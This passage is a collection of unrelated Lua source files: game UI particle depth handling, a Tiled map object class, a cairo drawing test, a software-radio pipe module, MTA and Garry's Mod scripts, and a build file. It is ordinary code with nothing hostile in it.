for abname,state in pairs(self.cache_partical_map) do
lua_resM:ClearObjPool(abname)
end
self.cache_partical_map = {}
self.wait_load_effect_trans = {}
self.show_partical_map = {}
end
function UIPartical:DeleteCurrLayerDepth(layer_name,count)
if UIPartical.curr_SortingOrder_list[layer_name] then
UIPartical.curr_SortingOrder_list[layer_name] = UIPartical.curr_SortingOrder_list[layer_name] - count
end
if UIPartical.Start_SortingOrder_list[layer_name] then
if self:GetCurrLayerDepth(layer_name) < UIPartical.Start_SortingOrder_list[layer_name] then
UIPartical.curr_SortingOrder_list[layer_name] = UIPartical.Start_SortingOrder_list[layer_name]
end
end
end
function UIPartical:AddCurrLayerDepth(layer_name,count)
if UIPartical.curr_SortingOrder_list[layer_name] then
UIPartical.curr_SortingOrder_list[layer_name] = UIPartical.curr_SortingOrder_list[layer_name] + (count or 1)
end
if UIPartical.NextLayerCount[layer_name] and UIPartical.curr_SortingOrder_list[layer_name] >= UIPartical.NextLayerCount[layer_name] then
LogError( self._source .. " want to add " .. layer_name .. " layer count to " .. UIPartical.curr_SortingOrder_list[layer_name] .. ":" .. debug.traceback())
UIPartical.curr_SortingOrder_list[layer_name] = UIPartical.Start_SortingOrder_list[layer_name] + 99
end
end
function UIPartical:GetCurrLayerDepth(layer_name)
return UIPartical.curr_SortingOrder_list[layer_name]
end
--打开界面的时候 设置UI SortingOrder深度
function UIPartical:SetUIDepth(gameObject)
if self.layer_name and self.layer_name ~= "Main" then
if self:GetCurrLayerDepth(self.layer_name) < UIPartical.Start_SortingOrder_list[self.layer_name] then
UIPartical.curr_SortingOrder_list[self.layer_name] = UIPartical.Start_SortingOrder_list[self.layer_name]
end
self.depth_counter = self.depth_counter + 1
self:AddCurrLayerDepth(self.layer_name)
-- print("层级",self.layer_name,"===",self:GetCurrLayerDepth(self.layer_name))
UIManager.SetUIDepth(gameObject,true,self:GetCurrLayerDepth(self.layer_name))
end
end
function UIPartical:SetGameObjectDepth(gameObject)
if gameObject == nil then return end
if self.layer_name and self.layer_name ~= "Main" then
self.depth_counter = self.depth_counter + 1
self:AddCurrLayerDepth(self.layer_name)
UIManager.SetUIDepth(gameObject,true,self:GetCurrLayerDepth(self.layer_name))
gameObject.layer = LayerMask.NameToLayer("UI")
end
end
--关闭界面的时候重置UI深度
function UIPartical:ResetUIDepth(count)
if self.layer_name and (self.layer_name ~= "Main" or self.need_to_reset_layer) then
if count then
if count > 0 then
self:DeleteCurrLayerDepth(self.layer_name,count )
self.depth_counter = self.depth_counter - count
end
else
if self.depth_counter > 0 then
self:DeleteCurrLayerDepth(self.layer_name,self.depth_counter )
self.depth_counter = 0
end
end
end
end
--这里分为UI层跟其它层,UI层的粒子层级加1,而其他层级,例如主界面,则固定为1
function UIPartical:SetParticleDepth(gameObject, forceAdd)
if self.layer_name then
if self.layer_name == "Main" and not forceAdd then
local depth = UIPartical.Start_SortingOrder_list[self.layer_name] + 1
if depth ~= nil then
UIManager.SetUIDepth(gameObject,false,depth)
end
else
self.depth_counter = self.depth_counter + 1
self:AddCurrLayerDepth(self.layer_name)
UIManager.SetUIDepth(gameObject,false,self:GetCurrLayerDepth(self.layer_name))
end
end
end
--添加屏幕特效
function UIPartical:AddScreenEffect(resname, pos, scale, is_loop ,last_time)
local parent_go = UiFactory.createChild(panelMgr:GetParent(self.layer_name), UIType.EmptyObject, resname)
local function call_back_func()
destroy(parent_go)
end
self:AddUIEffect(resname, parent_go.transform, self.layer_name, pos, scale, is_loop ,last_time, nil, call_back_func)
end
--[[
功能:添加到UI上的特效 如果是baseview里面设置特效 需要在opencallback方法里设置才行 baseitem需要再baseview调用opencallback的时候重新设置
uiTranform 只能挂接一个特效
其他. lastTime为-1时播放结束不主动销毁
save_by_batch: 合并批处理,这个和useMask是互斥关系,如两个特效的resname相同时,不能一个用useMask另一个用save_by_batch。因为共享材质只有一个。
]]
function UIPartical:AddUIEffectConfig(resname, uiTranform, layer_name, config)
config = config or {}
local pos = config.pos
local scale = config.scale or 1
local is_loop = config.is_loop
local last_time = config.last_time
local useMask = config.useMask
local call_back_func = config.call_back_func
local load_finish_func = config.load_finish_func
local speed = config.speed
local layer = config.layer
local not_delete_old_ps = config.not_delete_old_ps
local save_by_batch = config.save_by_batch
local need_cache = config.need_cache
self:AddUIEffect(resname, uiTranform, layer_name, pos, scale, is_loop ,last_time, useMask, call_back_func,load_finish_func, speed, layer, not_delete_old_ps, save_by_batch, need_cache)
end
function UIPartical:AddUIEffect(resname, uiTranform, layer_name, pos, scale, is_loop ,last_time, useMask, call_back_func,load_finish_func, speed, layer, not_delete_old_ps, save_by_batch, need_cache,rotate)
if uiTranform then
local instance_id = uiTranform:GetInstanceID()
if self.wait_load_effect_trans[instance_id] then
return
end
self.layer_name = layer_name or self.layer_name
pos = pos or Vector3.zero
scale = scale
if is_loop == nil then
is_loop = true
end
if need_cache == nil then
need_cache = true
end
local function load_call_back(objs, is_gameObject)
self.wait_load_effect_trans[instance_id] = false
if self.transform then --没有删除根变换
if self._use_delete_method then
return
end
if IsNull(uiTranform) then return end
--如果没特效,则返回
if not objs or not objs[0] or tostring(objs[0]) == "null" then
return
end
local curr_effect_sortingOrder = nil
if self.layer_name and self.layer_name ~= "Main" and not useMask then
self.depth_counter = self.depth_counter + 1
self:AddCurrLayerDepth(self.layer_name)
curr_effect_sortingOrder = self:GetCurrLayerDepth(self.layer_name)
end
local go = is_gameObject and objs[0] or newObject(objs[0])
local shader_mask = UIParticleMaskShader.Res[resname]
if shader_mask then
local objs = go:GetComponentsInChildren(typeof(UnityEngine.Renderer))
for i=1,objs.Length do
local mats = objs[i-1].sharedMaterials
for i=0, mats.Length - 1 do
if mats[i] then
local shader_config = UIParticleMaskShader.Shader[mats[i].shader.name]
if shader_config then
mats[i].shader = ShaderTools.GetShader(shader_config)
end
end
end
end
end
self.partical_list[go] = true
local gameobject_id = go:GetInstanceID()
self.show_partical_map[gameobject_id] = resname
local transform = go.transform
transform:SetParent(uiTranform)
transform.localPosition = pos
if rotate then
transform.localRotation = rotate
end
if type(scale) == "number" then
if scale ~= -1 then
if not is_gameObject or (Scene and Scene.Instance:IsPreLoadPoolEffect(resname)) then
local particleSystems = go:GetComponentsInChildren(typeof(UnityEngine.ParticleSystem))
if particleSystems and scale ~= 1 then
for i = 0, particleSystems.Length - 1 do
particleSystems[i].main.scalingMode = UnityEngine.ParticleSystemScalingMode.IntToEnum(2)
end
end
cs_particleM:SetScale(go,scale)
end
transform.localScale = Vector3.one * scale * 100
end
elseif type(scale) == "table" then
local particleSystems = go:GetComponentsInChildren(typeof(UnityEngine.ParticleSystem))
if scale.z == nil then scale.z = 1 end
local orign_scale
local symbol = {x = 1,y = 1,z = 1}
for i = 0, particleSystems.Length - 1 do
local ps = particleSystems[i]
ps.main.scalingMode = UnityEngine.ParticleSystemScalingMode.IntToEnum(1)
orign_scale = ps.transform.localScale
symbol.x = orign_scale.x > 0 and 1 or -1
symbol.y = orign_scale.y > 0 and 1 or -1
symbol.z = orign_scale.z > 0 and 1 or -1
ps.transform.localScale = Vector3(scale.x * symbol.x, scale.y * symbol.y, scale.z * symbol.z)
end
transform.localScale = Vector3(scale.x, scale.y, scale.z) * 100
else
transform.localScale = Vector3(72,72,72)
end
PrintParticleInfo(go)
self:SetSpeed(go, speed)
go:SetActive(false)
go:SetActive(true)
self:SetUILayer(uiTranform, layer)
if useMask then
self:SetEffectMask(go)
else
if curr_effect_sortingOrder then
UIManager.SetUIDepth(go,false,curr_effect_sortingOrder)
else
self:SetParticleDepth(go, maskID)
end
if save_by_batch then
--需要动态批处理,设置共享材质
local renders = go:GetComponentsInChildren(typeof(UnityEngine.Renderer))
for i = 0, renders.Length - 1 do
local mats = renders[i].sharedMaterials
for j = 0, mats.Length - 1 do
mats[j]:SetFloat("_Stencil", 0)
end
end
local curTrans = go.transform.parent
local maskImage
while(curTrans and curTrans.name ~= "Canvas") do
maskImage = curTrans:GetComponent("Mask")
if maskImage then
break
else
curTrans = curTrans.parent
end
end
if maskImage then
local canvas = curTrans:GetComponent("Canvas")
if canvas then
UIManager.SetUIDepth(go,false,canvas.sortingOrder + 1)
end
end
else
--由于使用遮罩的材质调用了共享材质,这里对不使用遮罩的特效使用实例化材质
local renders = go:GetComponentsInChildren(typeof(UnityEngine.Renderer))
for i = 0, renders.Length - 1 do
local mats = renders[i].materials
for j = 0, mats.Length - 1 do
mats[j]:SetFloat("_Stencil", 0)
end
end
end
end
self.callback_list[go] = call_back_func
if last_time and last_time > 0 and not self.lastTime_list[go] then
local function onDelayFunc()
self.show_partical_map[gameobject_id] = nil
self:PlayEnd(go,need_cache,resname)
if not need_cache and not self._use_delete_method then
lua_resM:reduceRefCount(self, resname)
end
end
self.lastTime_list[go] = GlobalTimerQuest:AddDelayQuest(onDelayFunc,last_time)
end
if is_loop then
cs_particleM:SetLoop(go,is_loop)
elseif last_time ~= -1 and not self.lastTime_list[go] then
local function playEndCallback(go)
self.show_partical_map[gameobject_id] = nil
self:PlayEnd(go,need_cache,resname)
if not need_cache and not self._use_delete_method then
lua_resM:reduceRefCount(self, resname)
end
end
ParticleManager:getInstance():AddUIPartical(go,playEndCallback)
end
if load_finish_func then
load_finish_func(go)
end
ClearTrailRenderer(go)
end
end
if not not_delete_old_ps then
self:ClearUIEffect(uiTranform)
end
self.wait_load_effect_trans[instance_id] = true
lua_resM:loadPrefab(self,resname,resname, load_call_back,false,ASSETS_LEVEL.HIGHT)
end
end
function UIPartical:SetSpeed(go, speed)
self.speed = speed or self.speed
if self.partical_list[go] and self.speed then
cs_particleM:SetSpeed(go,self.speed)
end
end
--清除挂接在父容器的所有对象, 判断进入对象缓存池
function UIPartical:ClearUIEffect(uiTranform)
if not IsNull(uiTranform) then
for i = 0,uiTranform.childCount - 1 do
local go = uiTranform:GetChild(0).gameObject
local cache_res = self.show_partical_map[go:GetInstanceID()]
self:PlayEnd(go,cache_res,cache_res)
end
else
PrintCallStack()
end
end
--删除所有特效
function UIPartical:ClearAllEffect()
self:ResetUIDepth()
for go,callback in pairs(self.callback_list) do
callback()
self.partical_list[go] = nil
end
for go,last_time_id in pairs(self.lastTime_list) do
GlobalTimerQuest:CancelQuest(last_time_id)
self.lastTime_list[go] = nil
end
for go,_ in pairs(self.partical_list) do
ParticleManager:getInstance():RemoveUIPartical(go)
local gomeobject_id = go:GetInstanceID()
local cache_res = self.show_partical_map[gomeobject_id]
if cache_res then
self.show_partical_map[gomeobject_id] = nil
if not IsNull(go) then
go:SetActive(false)
lua_resM:AddObjToPool(self, cache_res, cache_res, go)
self.cache_partical_map[cache_res] = true
end
else
destroy(go,true)
end
self.partical_list[go] = nil
end
end
--单个特效播放结束
function UIPartical:PlayEnd(go,need_cache,resname)
if go then
local callback = self.callback_list[go]
if callback and not self._use_delete_method then
callback()
end
self.callback_list[go] = nil
local last_time_id = self.lastTime_list[go]
if last_time_id then
GlobalTimerQuest:CancelQuest(last_time_id)
end
self.lastTime_list[go] = nil
ParticleManager:getInstance():RemoveUIPartical(go)
self.partical_list[go] = nil
if need_cache and resname then
self.cache_partical_map[resname] = true
go:SetActive(false)
lua_resM:AddObjToPool(self, resname, resname, go)
else
destroy(go,true)
end
if self.layer_name ~= "Main" and self.depth_counter > 0 and not self.dontCleardepth then
self.depth_counter = self.depth_counter - 1
self:DeleteCurrLayerDepth(self.layer_name, 1)
end
end
end
function UIPartical:SetUILayer(obj, layer)
layer = layer or UIPartical.RenderingOther_List.UI
if IsNull(obj) then
return
end
for i = 0,obj.childCount - 1 do
obj:GetChild(i).gameObject.layer = layer
self:SetUILayer(obj:GetChild(i), layer)
end
end
function UIPartical:SetEffectMask(obj)
local renders = obj:GetComponentsInChildren(typeof(UnityEngine.Renderer))
for i = 0, renders.Length - 1 do
--使用Renderer.material获取Material引用时,会把Render里Materials列表第一个预设的Material进行实例,这样每个object都有各自的材质对象,无法实现批处理draw call
local mats = renders[i].sharedMaterials
for j = 0, mats.Length - 1 do
if mats[j] then
mats[j]:SetFloat("_Stencil", 1)
end
end
end
local curTrans = obj.transform.parent
local maskImage
while(curTrans and curTrans.name ~= "Canvas") do
maskImage = curTrans:GetComponent("Mask")
if maskImage then
break
else
curTrans = curTrans.parent
end
end
if maskImage then
local canvas = curTrans:GetComponent("Canvas")
if canvas then
UIManager.SetUIDepth(obj,false,canvas.sortingOrder + 1)
end
end
end
function UIPartical:RegisterMask(maskImage,bool)
self.dontCleardepth = bool
self:ApplyMaskID(maskImage, 1)
self.need_to_reset_layer = true
return 1
end
function UIPartical:ApplyMaskID(maskImage, maskID)
local function callback(objs)
if objs and objs[0] and not IsNull(maskImage) then
maskImage.material = Material.New(objs[0])
maskImage.material:SetFloat("_StencilID", maskID)
end
end
ResourceManager:LoadMaterial("scene_material", "mat_mask_image" , callback, ASSETS_LEVEL.HIGHT)
maskImage.gameObject.layer = UIPartical.RenderingOther_List.UI
self:SetUILayer(maskImage.transform)
self.depth_counter = self.depth_counter + 1
self:AddCurrLayerDepth(self.layer_name)
local oldMask = maskImage:GetComponent("Mask")
local showMaskGraphic = oldMask.showMaskGraphic
UnityEngine.Object.DestroyImmediate(oldMask)
local newMask = maskImage.gameObject:AddComponent(typeof(EffectMask))
newMask.showMaskGraphic = showMaskGraphic
UIManager.SetUIDepth(maskImage.gameObject,true,self:GetCurrLayerDepth(self.layer_name))
if self.stencilGo then
return
end
self.stencilGo = UiFactory.createChild(maskImage.transform.parent,UIType.ImageExtend,"StencilImage")
self.stencilGo:SetActive(true)
local stencilTrans,img,rect = self.stencilGo.transform, self.stencilGo:GetComponent("Image"),maskImage.transform.rect
stencilTrans.localPosition = Vector2(rect.center.x, rect.center.y, 0)
stencilTrans:SetSiblingIndex(maskImage.transform:GetSiblingIndex() + 1)
local sizeDelta = maskImage.transform.sizeDelta
stencilTrans.sizeDelta = Vector2(rect.width, rect.height)
img.alpha = 0
img.raycastTarget = false
img.material:SetFloat("_Stencil", 1)
img.material:SetFloat("_StencilOp", 1)
img.material:SetFloat("_StencilComp",8)
local canvas = self.stencilGo:AddComponent(typeof(UnityEngine.Canvas))
canvas.overrideSorting = true
self:AddCurrLayerDepth(self.layer_name)
self:AddCurrLayerDepth(self.layer_name)
self.depth_counter = self.depth_counter + 2
canvas.sortingOrder = self:GetCurrLayerDepth(self.layer_name)
end
function UIPartical:UnRegisterMask(maskID)
self.stencilGo = nil
end
|
local Prop = {}
Prop.Name = "Subs House 3"
Prop.Cat = "House"
Prop.Price = 450
Prop.Doors = {
Vector( 7975, 11855, 163 ),
Vector( 7884.3798828125, 11986.400390625, 163 ),
Vector( 7781, 12337, 163 ),
Vector( 7565, 11958.900390625, 163.21000671387 ),
}
GM.Property:Register( Prop ) |
require "loadurl"
require "json"
require "sed"
require "gmod_defines"
require "messagestats"
require "fn"
require "vectors"
require "http_codes"
require "algo"
require "youtubenamer"
require "imagereply"
require "yt"
require "wiki"
require "memespeak"
hook.StopPersist()
cookie.StopPersist();
|
---------------------------------------------------------------------------------------------------
-- -= Object =-
---------------------------------------------------------------------------------------------------
-- Setup
local Object = {}
Object.__index = Object
-- Returns a new Object
function Object:new(layer, name, type, x, y, width, height, gid, prop)
-- Public:
local obj = {}
obj.layer = layer -- The layer that the object belongs to
obj.name = name or "" -- Name of the object
obj.type = type or "" -- Type of the object
obj.x = x or 0 -- X location on the map
obj.y = y or 0 -- Y location on the map
obj.width = width or 0 -- Object width in tiles
obj.height = height or 0 -- Object height in tiles
obj.gid = gid -- The object's associated tile. If false an outline will be drawn.
obj.properties = prop or {} -- Properties set by tiled.
obj.draw = nil -- You can assign a function to this to call instead of the object's
-- normal drawing function. It must be able to take x and y as
-- parameters.
-- drawInfo stores values needed to actually draw the object. You can either set these yourself
-- or use updateDrawInfo to do it automatically.
obj.drawInfo = {
-- x and y are the drawing location of the object. This is different than the object's x and
-- y value which is the object's placement on the map.
x = 0, -- The x draw location
y = 0, -- The y draw location
-- These limit the drawing of the object. If the object falls out of the bounds of
-- the map's drawRange then the object will not be drawn.
left = 0, -- The leftmost point on the object
right = 0, -- The rightmost point on the object
top = 0, -- The highest point on the object
bottom = 0, -- The lowest point on the object
-- The order to draw the object in relation to other objects. Usually equal to bottom.
order = 0,
-- In addition to this, other drawing information can be stored in the numerical
-- indicies which is context sensitive to the map's orientation and if the object has a gid
-- associated with it or not.
}
-- Update the draw info
Object.updateDrawInfo(obj)
-- Return our object
return setmetatable(obj, Object)
end
-- Updates the draw information. Call this every time the object moves or changes size.
function Object:updateDrawInfo()
local di = self.drawInfo
local map = self.layer.map
-- Isometric map
if map.orientation == "isometric" then
-- Is a tile object
if self.gid then
local t = map.tiles[self.gid]
local tw, th = t.width, t.height
di.x, di.y = map:fromIso(self.x, self.y)
di.order = di.y
di.x, di.y = di.x - map.tileWidth/2, di.y - th
di.left, di.right, di.top, di.bottom = di.x, di.x+tw, di.y , di.y +th
-- Is not a tile object
else
-- 1-8:polygon verticies
di[1], di[2] = map:fromIso(self.x, self.y)
di[3], di[4] = map:fromIso(self.x + self.width, self.y)
di[5], di[6] = map:fromIso(self.x + self.width, self.y + self.height)
di[7], di[8] = map:fromIso(self.x, self.y + self.height)
di.left, di.right, di.top, di.bottom = di[7], di[3], di[2], di[6]
di.order = 1
end
-- Orthogonal map
else
-- Is a tile object
if self.gid then
local t = map.tiles[self.gid]
local tw, th = t.width, t.height
di.x, di.y = self.x, self.y
di.order = di.y
di.y = di.y - th
di.left, di.top, di.right, di.bottom = di.x, di.y, di.x+tw, di.y+th
-- Is not a tile object
else
-- 1:width, 2:height
di.x, di.y = self.x, self.y
di[1], di[2] = self.width, self.height
di.left, di.top, di.right, di.bottom = di.x, di.y , di.x+di[1], di.y +di[2]
di.order = 1
end
end
end
-- Moves the object to the relative location
function Object:move(x,y)
self.x = self.x + x
self.y = self.y + y
self:updateDrawInfo()
end
-- Moves the object to the absolute location
function Object:moveTo(x,y)
self.x = x
self.y = y
self:updateDrawInfo()
end
-- Resizes the object
function Object:resize(w,h)
self.width = w or self.width
self.height = h or self.height
self.updateDrawInfo()
end
-- Returns the Object class
return Object
--[[Copyright (c) 2011 Casey Baxter
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
Except as contained in this notice, the name(s) of the above copyright holders
shall not be used in advertising or otherwise to promote the sale, use or
other dealings in this Software without prior written authorization.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.--]] |
local ffi = require 'ffi'
local libpath = package.searchpath('librfcn', package.cpath)
if not libpath then return end
require 'cunn'
ffi.cdef[[
void PSROIPooling_updateOutput(THCState *state, THCudaTensor *output, THCudaTensor *indices, THCudaTensor *data, THCudaTensor* rois, int spatial_scale, int height, int width, int pooled_height, int pooled_width, int output_dim);
void PSROIPooling_updateGradInputAtomic(THCState *state, THCudaTensor *gradInput, THCudaTensor *gradOutput, THCudaTensor *data, THCudaTensor* rois, THCudaTensor *indices, int spatial_scale, int height, int width, int pooled_height, int pooled_width, int output_dim);
]]
return ffi.load(libpath)
|
local M = {}
function M.test()
local cairo = require "org.xboot.cairo"
local M_PI = math.pi
local cs = cairo.image_surface_create(cairo.FORMAT_ARGB32, 400, 400)
local cr = cairo.create(cs)
cr:save()
cr:set_source_rgb(0.9, 0.9, 0.9)
cr:paint()
cr:restore()
local dashes = {
50.0, --/* ink */
10.0, --/* skip */
10.0, --/* ink */
10.0, --/* skip*/
};
local offset = -50.0;
cr:set_dash(dashes, offset);
cr:set_line_width(10.0);
cr:move_to(128.0, 25.6);
cr:line_to(230.4, 230.4);
cr:rel_line_to(-102.4, 0.0);
cr:curve_to(51.2, 230.4, 51.2, 128.0, 128.0, 128.0);
cr:stroke(cr);
cs:show()
collectgarbage("collect")
collectgarbage("step")
end
return M
|
---
-- Pipe I/O handling.
--
-- @module radio.core.pipe
local ffi = require('ffi')
local math = require('math')
local class = require('radio.core.class')
local platform = require('radio.core.platform')
---
-- Pipe. This class implements the serialization/deserialization of sample
-- vectors between blocks.
--
-- @internal
-- @class
-- @tparam OutputPort output Pipe output port
-- @tparam InputPort input Pipe input port
local Pipe = class.factory()
function Pipe.new(output, input)
local self = setmetatable({}, Pipe)
self.output = output
self.input = input
return self
end
---
-- Get sample rate of pipe.
--
-- @internal
-- @function Pipe:get_rate
-- @treturn number Sample rate
function Pipe:get_rate()
return self.output.owner:get_rate()
end
---
-- Get data type of pipe.
--
-- @internal
-- @function Pipe:get_data_type
-- @treturn data_type Data type
function Pipe:get_data_type()
return self.output.data_type
end
ffi.cdef[[
int socketpair(int domain, int type, int protocol, int socket_vector[2]);
]]
---
-- Initialize the pipe.
--
-- @internal
-- @function Pipe:initialize
function Pipe:initialize()
-- Look up our data type
self.data_type = self:get_data_type()
-- Create UNIX socket pair
local socket_fds = ffi.new("int[2]")
if ffi.C.socketpair(ffi.C.AF_UNIX, ffi.C.SOCK_STREAM, 0, socket_fds) ~= 0 then
error("socketpair(): " .. ffi.string(ffi.C.strerror(ffi.errno())))
end
self._rfd = socket_fds[0]
self._wfd = socket_fds[1]
self._eof = false
-- Pre-allocate read buffer
self._buf_capacity = 1048576
self._buf = platform.alloc(self._buf_capacity)
self._buf_size = 0
self._buf_read_offset = 0
end
---
-- Update the Pipe's internal read buffer.
--
-- @internal
-- @function Pipe:_read_buffer_update
function Pipe:_read_buffer_update()
-- Shift unread samples down to beginning of buffer
local unread_length = self._buf_size - self._buf_read_offset
if unread_length > 0 then
ffi.C.memmove(self._buf, ffi.cast("char *", self._buf) + self._buf_read_offset, unread_length)
end
-- Read new samples in
local bytes_read = tonumber(ffi.C.read(self._rfd, ffi.cast("char *", self._buf) + unread_length, self._buf_capacity - unread_length))
if bytes_read < 0 then
error("read(): " .. ffi.string(ffi.C.strerror(ffi.errno())))
elseif unread_length == 0 and bytes_read == 0 then
self._eof = true
end
-- Update size and reset unread offset
self._buf_size = unread_length + bytes_read
self._buf_read_offset = 0
end
---
-- Get the Pipe's internal read buffer's element count.
--
-- @internal
-- @function Pipe:_read_buffer_count
-- @treturn int Count
function Pipe:_read_buffer_count()
-- Return nil on EOF
if self._eof then
return nil
end
-- Return item count in read buffer
return self.data_type.deserialize_count(ffi.cast("char *", self._buf) + self._buf_read_offset, self._buf_size - self._buf_read_offset)
end
---
-- Test if the Pipe's internal read buffer is full.
--
-- @internal
-- @function Pipe:_read_buffer_full
-- @treturn bool Full
function Pipe:_read_buffer_full()
-- Return full status of read buffer
return (self._buf_size - self._buf_read_offset) == self._buf_capacity
end
---
-- Deserialize elements from the Pipe's internal read buffer into a vector.
--
-- @internal
-- @function Pipe:_read_buffer_deserialize
-- @tparam int num Number of elements to deserialize
-- @treturn Vector Vector
function Pipe:_read_buffer_deserialize(num)
-- Shift samples down to beginning of buffer
if self._buf_read_offset > 0 then
ffi.C.memmove(self._buf, ffi.cast("char *", self._buf) + self._buf_read_offset, self._buf_size - self._buf_read_offset)
self._buf_size = self._buf_size - self._buf_read_offset
self._buf_read_offset = 0
end
-- Deserialize a vector from the read buffer
local vec, size = self.data_type.deserialize_partial(ffi.cast("char *", self._buf), num)
-- Update read offset
self._buf_read_offset = self._buf_read_offset + size
return vec
end
---
-- Read a sample vector from the Pipe.
--
-- @internal
-- @function Pipe:read
-- @tparam[opt=nil] int count Number of elements to read
-- @treturn Vector|nil Sample vector or nil on EOF
function Pipe:read(count)
-- Update our read buffer
self:_read_buffer_update()
-- Get available item count
local num = self:_read_buffer_count()
-- Return nil on EOF
if num == nil then
return nil
end
return self:_read_buffer_deserialize(count and math.min(num, count) or num)
end
---
-- Write a sample vector to the Pipe.
--
-- @internal
-- @function Pipe:write
-- @tparam Vector vec Sample vector
function Pipe:write(vec)
-- Get vector serialized buffer and size
local data, size = self.data_type.serialize(vec)
-- Write entire buffer
local len = 0
while len < size do
local bytes_written = tonumber(ffi.C.write(self._wfd, ffi.cast("char *", data) + len, size - len))
if bytes_written <= 0 then
local errno = ffi.errno()
if errno == ffi.C.EPIPE or errno == ffi.C.ECONNRESET then
io.stderr:write(string.format("[%s] Downstream block %s terminated unexpectedly.\n", self.output.owner.name, self.input.owner.name))
end
error("write(): " .. ffi.string(ffi.C.strerror(errno)))
end
len = len + bytes_written
end
end
---
-- Close the input end of the pipe.
--
-- @internal
-- @function Pipe:close_input
function Pipe:close_input()
if self._rfd then
if ffi.C.close(self._rfd) ~= 0 then
error("close(): " .. ffi.string(ffi.C.strerror(ffi.errno())))
end
self._rfd = nil
end
end
---
-- Close the output end of the pipe.
--
-- @internal
-- @function Pipe:close_output
function Pipe:close_output()
if self._wfd then
if ffi.C.close(self._wfd) ~= 0 then
error("close(): " .. ffi.string(ffi.C.strerror(ffi.errno())))
end
self._wfd = nil
end
end
---
-- Get the file descriptor of the input end of the Pipe.
--
-- @internal
-- @function Pipe:fileno_input
-- @treturn int File descriptor
function Pipe:fileno_input()
return self._rfd
end
---
-- Get the file descriptor of the output end of the Pipe.
--
-- @internal
-- @function Pipe:fileno_output
-- @treturn int File descriptor
function Pipe:fileno_output()
return self._wfd
end
-- Helper function to read synchronously from a set of pipes
local POLL_READ_EVENTS = bit.bor(ffi.C.POLLIN, ffi.C.POLLHUP)
---
-- Read synchronously from a set of pipe. The vectors returned
-- will all be of the same length.
--
-- @internal
-- @function read_synchronous
-- @tparam array pipes Array of Pipe objects
-- @treturn array|nil Array of sample vectors or nil on EOF
local function read_synchronous(pipes)
-- Set up pollfd structures for all not-full pipes
local pollfds = ffi.new("struct pollfd[?]", #pipes)
for i=1, #pipes do
pollfds[i-1].fd = pipes[i]:fileno_input()
pollfds[i-1].events = not pipes[i]:_read_buffer_full() and POLL_READ_EVENTS or 0
end
-- Poll (non-blocking)
local ret = ffi.C.poll(pollfds, #pipes, 0)
if ret < 0 then
error("poll(): " .. ffi.string(ffi.C.strerror(ffi.errno())))
end
-- Compute maximum available item count across all pipes
local num_elems = math.huge
for i=1, #pipes do
-- Update read buffer if pipe is ready
if pollfds[i-1].revents ~= 0 then
pipes[i]:_read_buffer_update()
end
local count = pipes[i]:_read_buffer_count()
-- Block updating read buffer if we've ran out of items
if count == 0 then
pipes[i]:_read_buffer_update()
count = pipes[i]:_read_buffer_count()
end
-- If we've reached EOF, return nil
if count == nil then
return nil
end
-- Update maximum available item count
num_elems = (count < num_elems) and count or num_elems
end
-- Read maximum available item count from all pipes
local data_in = {}
for i=1, #pipes do
data_in[i] = pipes[i]:_read_buffer_deserialize(num_elems)
end
return data_in
end
-- Exported module
return {Pipe = Pipe, read_synchronous = read_synchronous}
|
return function()
local utils = require('utils');
local animator = require('animator');
animator.stop();
utils.all(0,0,0, 66);
end |
add_rules("mode.debug", "mode.release")
set_policy("check.auto_ignore_flags", false)
-- 引入自定义工具链
includes("toolchains/*.lua")
set_targetdir("$(projectdir)/build/$(build_type)/$(mode)")
--
includes("util_lib")
|
DEFAULT_SETTINGS = nil
READY_PLAYERS = {}
-- *********************************************
function importDefaultSettings()
local settingsFile = fileOpen("settings.json")
if (settingsFile) then
local size = fileGetSize(settingsFile)
local data = fileRead(settingsFile, size)
local convertedJSON = fromJSON(data)
if (convertedJSON) and (type(convertedJSON) == "table") then
DEFAULT_SETTINGS = convertedJSON
else
return error('[ConGuard] Unable to read "settings.json" - broken JSON')
end
fileClose(settingsFile)
else
return error('[ConGuard] Unable to open "settings.json" - does the file exist?')
end
return true
end
-- *********************************************
function syncAll(player)
player = player or source
if (not isElement(player)) or (getElementType(player) ~= "player") then
return false
end
local items = {}
for dimension, instance in pairs(ConGuardInstances) do
if (instance) and (instanceof(instance, Class, true)) then
items[#items + 1] = {
dimension = dimension,
settings = instance.settings
}
end
end
triggerClientEvent(player, "onConGuardSyncAll", resourceRoot, items)
end
-- *********************************************
function isPlayerReady(player)
for i, p in ipairs(READY_PLAYERS) do
if (p == player) then
return true
end
end
return false
end
function addPlayer(player)
table.insert(READY_PLAYERS, player)
syncAll(player)
end
function removePlayer()
local instance = ConGuardInstances[getElementDimension(source)]
if (not instance) then
return false
end
instance:onPlayerNetworkStatus(1)
for i, player in ipairs(READY_PLAYERS) do
if (player == source) then
table.remove(READY_PLAYERS, i)
break
end
end
end
|
local Spell = { }
Spell.LearnTime = 30
Spell.ApplyFireDelay = 0.4
Spell.ForceSpriteSending = true
Spell.Description = [[
Changes the color of the
object you're looking at.
]]
Spell.NodeOffset = Vector(-13, 69, 0)
Spell.AccuracyDecreaseVal = 0
function Spell:PreFire(wand)
if not self.Sound then
self.Sound = CreateSound(wand, "ambient/creatures/leech_bites_loop1.wav")
self.Sound:Play()
timer.Create("hpwrewrite_colovaria_handlersnd" .. wand:EntIndex(), 0.8, 1, function()
if self.Sound then
self.Sound:Stop()
self.Sound = nil
end
end)
return true
end
return false
end
function Spell:OnFire(wand)
local ent = wand:HPWGetAimEntity(400)
local color = ColorRand()
if IsValid(ent) then
if ent:IsPlayer() then
ent:SetPlayerColor(Vector(color.r / 255, color.g / 255, color.b / 255))
else
